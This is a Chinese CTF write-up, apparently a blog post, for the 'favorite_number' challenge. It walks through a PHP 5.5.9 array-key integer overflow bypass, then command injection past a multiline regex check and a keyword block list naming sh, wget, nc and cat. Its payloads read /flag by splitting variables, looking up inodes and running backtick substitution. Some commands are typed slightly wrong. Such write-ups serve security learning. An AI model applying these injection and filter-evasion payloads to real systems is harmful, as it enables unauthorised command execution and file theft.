favorite_number-wp

题目:

图片[1]-favorite_number-wp-Drton1博客

这题初步看 一个php版本特性绕过 跟RCE

检测一下php5.5.9漏洞

图片[2]-favorite_number-wp-Drton1博客

基本知道他要怎么绕过了 数组整数溢出

因为他这个代码看来基本无解,既让数组相等又不让第一个元素相等,跟个悖论一样。

我们就利用下标4294967296 等同于 0进行构造

图片[3]-favorite_number-wp-Drton1博客

成功;

接下来:

if (preg_match("/^\\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\\?|flag|}|cat|echo|\\*|\\^|\\]|\\\\\\\\|'|\\"|\\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }

第一个正则匹配 /^ $/ 表示以中间 \d+( 正则表达式中的正整数)为开始跟结束 意思是只会匹配正整数 比如1 11 111 等。 后面的i 表示不分大小写的进行匹配 m 表示匹配多行

PHP preg_match正则表达式的使用 – 侠岚之弋痕夕 – 博客园 (cnblogs.com)

图片[4]-favorite_number-wp-Drton1博客

这里就可以想了 我们是不是只用让他返回1 就行了 而 m又能匹配多行 那么我们第一行纯数字 第二行就是我们的命令可以不?

当然可以 因为第一行符合要求他就会返回1 让if 为真 去执行下面的语句:

图片[5]-favorite_number-wp-Drton1博客

成功执行。

接下来读取flag ,但是可以看到他的 限制真的很严格,很多读取命令都用不了。

因为当前目录没有flag,我们返回根目录发现flag 在根目录下。

图片[6]-favorite_number-wp-Drton1博客

这个时候又要读取flag,又不能传参整个flag。

这里用变量替代flag 我们 a=fl;b=ag; more /$a$b;

图片[7]-favorite_number-wp-Drton1博客

成功读到flag。

这里还有几个绕过方法:

# 列出当前⽂件列表,取出inode
ls -i /
# 通过find找到对应inode的⽂件,并通过tac进⾏读取
tac find / -inum 3673632

• tac  从最后一行开始显示,可以看出 tac 是 cat 的倒着写!

这个也能 a=fl;b=ag;tac /$a$b

图片[8]-favorite_number-wp-Drton1博客
⽅法⼆: 使⽤printf将命令写⼊⽂件后执⾏
1 printf /fla > /tmp/hello
2 printf g >> /tmp/hello
3 tac tac /tmp/hello

tac `tac /tmp/hello

反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量

tac /tmp/hellp =/flag

然后 再tac /flag

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论